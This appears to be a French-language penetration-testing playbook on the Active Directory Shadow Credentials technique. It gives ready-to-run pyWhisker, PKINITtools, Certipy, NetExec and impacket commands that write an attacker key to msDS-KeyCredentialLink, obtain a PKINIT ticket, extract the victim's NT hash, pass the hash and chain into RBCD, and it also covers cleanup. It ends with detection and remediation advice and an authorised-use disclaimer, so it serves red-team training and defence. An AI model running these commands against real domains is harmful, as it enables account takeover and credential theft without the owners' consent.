Que fait Abus des Shadow Credentials pour l'élévation de privilèges ?
Avis légal : Cette compétence est destinée uniquement aux tests de sécurité autorisés et à des fins pédagogiques. Les Shadow Credentials permettent une prise de contrôle totale du compte ciblé. À utiliser uniquement sur des systèmes vous appartenant ou pour lesquels vous avez une autorisation écrite explicite. Tout accès non autorisé est un délit.
Présentation
La technique des Shadow Credentials abuse de l'attribut msDS-KeyCredentialLink des objets utilisateur et ordinateur Active Directory. Cet attribut stocke des clés publiques brutes (« Key Credentials ») utilisées par Windows Hello for Business et l'enregistrement d'appareils Azure AD pour une connexion sans mot de passe basée sur des certificats via PKINIT (Public Key Cryptography for Initial Authentication in Kerberos). Si un attaquant dispose d'une permission d'écriture sur l'attribut msDS-KeyCredentialLink d'un objet cible — généralement accordée par des ACE GenericWrite, GenericAll, WriteProperty ou AddKeyCredentialLink identifiées dans BloodHound — il peut ajouter sa propre clé publique générée par l'attaquant. Il demande ensuite un TGT pour la cible via PKINIT à l'aide de la clé privée correspondante et récupère le hash NT de la cible, réalisant ainsi une prise de contrôle complète du compte sans réinitialiser le mot de passe, ce qui est beaucoup plus discret qu'une réinitialisation forcée du mot de passe.
Cette technique a été publiée par Elad Shamir (« Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover ») et implémentée dans l'outil C# Whisker. L'équivalent Python pyWhisker (ShutdownRepo) manipule l'attribut via LDAP, et Certipy intègre l'ensemble de la chaîne via certipy shadow auto. L'environnement cible doit prendre en charge PKINIT et comporter au moins un contrôleur de domaine exécutant Windows Server 2016 ou version ultérieure. Sources : pyWhisker, Whisker, The Hacker Recipes — Shadow Credentials.
Quand l'utiliser
- Lorsque BloodHound révèle
GenericWrite/GenericAll/AddKeyCredentialLinksur un utilisateur ou un ordinateur de grande valeur - Comme alternative plus discrète à
ForceChangePassword(pas de réinitialisation de mot de passe = moins de perturbations/d'alertes) - Pour prendre le contrôle d'un compte machine afin d'enchaîner sur une délégation contrainte basée sur les ressources (RBCD)
- Lors d'opérations Red Team nécessitant une prise de contrôle de compte sans bloquer l'utilisateur légitime
- Pour des exercices Purple Team générant des données de télémétrie sur les modifications de
msDS-KeyCredentialLink
Prérequis
- Périmètre d'engagement autorisé incluant les techniques d'obtention d'identifiants Active Directory
- Contrôle d'un principal disposant d'un accès en écriture sur
msDS-KeyCredentialLinkde la cible - Un contrôleur de domaine exécutant Windows Server 2016+ avec PKINIT activé (niveau fonctionnel du domaine prenant en charge Key Trust)
- Accessibilité réseau à LDAP (389/636) et Kerberos (88) sur un contrôleur de domaine
- Machine d'attaque Linux avec Python 3.8+ ; installer les outils :
# pyWhisker (depuis les sources) git clone https://github.com/ShutdownRepo/pywhisker cd pywhisker && pip install . # Certipy (attaque shadow intégrée) pipx install certipy-ad # PKINITtools pour l'extraction manuelle du TGT/hash NT git clone https://github.com/dirkjanm/PKINITtools
Objectifs
- Confirmer l'accès en écriture sur
msDS-KeyCredentialLinkd'une cible - Générer une paire de clés et ajouter une Key Credential à l'objet cible
- Demander un TGT pour la cible via PKINIT en utilisant la nouvelle clé
- Récupérer le hash NT de la cible pour du pass-the-hash ou des mouvements ultérieurs
- Nettoyer la Key Credential injectée pour restaurer l'état de l'objet
- Documenter le chemin ACL qui a permis l'attaque pour sa correction
Cartographie MITRE ATT&CK
| ID | Technique | Application dans cette compétence |
|---|---|---|
| T1098.005 | Account Manipulation: Device Registration | Écriture d'une Key Credential contrôlée par l'attaquant (clé d'appareil) dans msDS-KeyCredentialLink pour enregistrer une information d'authentification alternative pour le compte cible |
Workflow
Étape 1 : Confirmer la primitive d'écriture
Listez les Key Credentials existantes sur la cible pour vérifier que vous disposez de l'accès requis. Un résultat vide ou lisible confirme l'accès en écriture pour l'étape « add ».
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Password!" \
--target "victim" --action "list"
Étape 2 : Ajouter une Shadow Credential avec pyWhisker
Générez une paire certificat/clé et écrivez-la dans le msDS-KeyCredentialLink de la cible. pyWhisker produit un fichier PFX que vous contrôlez.
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Password!" \
--target "victim" --action "add" --filename victim_shadow
# Produit victim_shadow.pfx et affiche le mot de passe du PFX
Utilisez l'authentification Kerberos au lieu d'un mot de passe si vous ne possédez qu'un ticket :
python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
--target "victim" --action "add" --filename victim_shadow --use-ldaps
Étape 3 : Demander un TGT via PKINIT
Utilisez le PFX généré avec PKINITtools pour obtenir un TGT Kerberos pour la cible.
python3 PKINITtools/gettgtpkinit.py \
-cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
corp.local/victim victim.ccache
Étape 4 : Récupérer le hash NT
Extrayez le hash NT de la cible depuis l'AS-REP en utilisant la clé de session de l'étape 3 (getnthash.py lit la clé de chiffrement de l'AS-REP, affichée par gettgtpkinit.py).
export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# Affiche le hash NT pour 'victim'
Étape 5 : Alternative tout-en-un avec Certipy
certipy shadow auto effectue l'ajout → PKINIT → dump du hash → nettoyage automatiquement, ce qui est idéal pour la prise de contrôle de comptes machines.
certipy shadow auto -u '[email protected]' -p 'Password!' \
-dc-ip 10.0.0.100 -account 'victim'
# Pour un compte machine, utilisez le sAMAccountName avec le $ final
certipy shadow auto -u '[email protected]' -p 'Password!' \
-dc-ip 10.0.0.100 -account 'WS01$'
Étape 6 : Utiliser les identifiants récupérés
Authentifiez-vous avec le hash NT (ou le TGT) pour continuer l'engagement.
# Pass-the-hash avec NetExec
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# Ou utilisez directement le TGT
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache
Étape 7 : Enchaîner la prise de contrôle machine vers RBCD (optionnel)
Lorsque la cible est un ordinateur, la clé/le hash récupéré permet de configurer une délégation contrainte basée sur les ressources (RBCD) pour usurper n'importe quel utilisateur sur cet hôte.
# Définir RBCD pour que le SPN contrôlé par l'attaquant puisse usurper sur WS01$
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
-action write 'corp.local/attacker:Password!'
Étape 8 : Nettoyage
Supprimez la Key Credential injectée pour restaurer l'objet et réduire l'empreinte de détection.
# pyWhisker : suppression par device-id (affiché lors de l'ajout) ou suppression de tout ce que vous avez ajouté
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Password!" \
--target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto nettoie automatiquement ; sinon :
certipy shadow clear -u '[email protected]' -p 'Password!' \
-dc-ip 10.0.0.100 -account 'victim'
Outils et ressources
| Ressource | Objectif | Lien |
|---|---|---|
| pyWhisker | Manipulation LDAP Python de msDS-KeyCredentialLink | https://github.com/ShutdownRepo/pywhisker |
| Whisker | Implémentation C# originale | https://github.com/eladshamir/Whisker |
| Certipy | shadow auto prise de contrôle de bout en bout | https://github.com/ly4k/Certipy |
| PKINITtools | gettgtpkinit / getnthash | https://github.com/dirkjanm/PKINITtools |
| The Hacker Recipes | Guide de la technique et défenses | https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials |
Notes de détection et de correction
| Domaine | Recommandation |
|---|---|
| Détection | Surveiller l'ID d'événement de sécurité Windows 5136 (modification d'objet d'annuaire) pour les modifications de msDS-KeyCredentialLink ; alerter lorsqu'un principal autre qu'AD-Connect/Intune écrit l'attribut. |
| Audit | Activer l'audit des modifications d'objets du service d'annuaire sur les unités d'organisation utilisateurs/ordinateurs. |
| Moindre privilège | Supprimer les ACE GenericWrite/GenericAll/AddKeyCredentialLink superflus (arête AddKeyCredentialLink de BloodHound). |
| Atténuation | Lorsque Windows Hello/enregistrement d'appareil n'est pas utilisé, restreindre les personnes autorisées à écrire des Key Credentials et envisager de protéger les comptes de niveau 0. |
Critères de validation
- Accès en écriture sur
msDS-KeyCredentialLinkde la cible confirmé (listréussi) - Key Credential ajoutée avec succès (PFX généré)
- TGT PKINIT obtenu pour le compte cible
- Hash NT de la cible récupéré et validé contre un service
- (Si ordinateur) Enchaînement RBCD ou mouvement ultérieur démontré
- Key Credential injectée supprimée / objet restauré
- Chemin ACL documenté avec recommandation de correction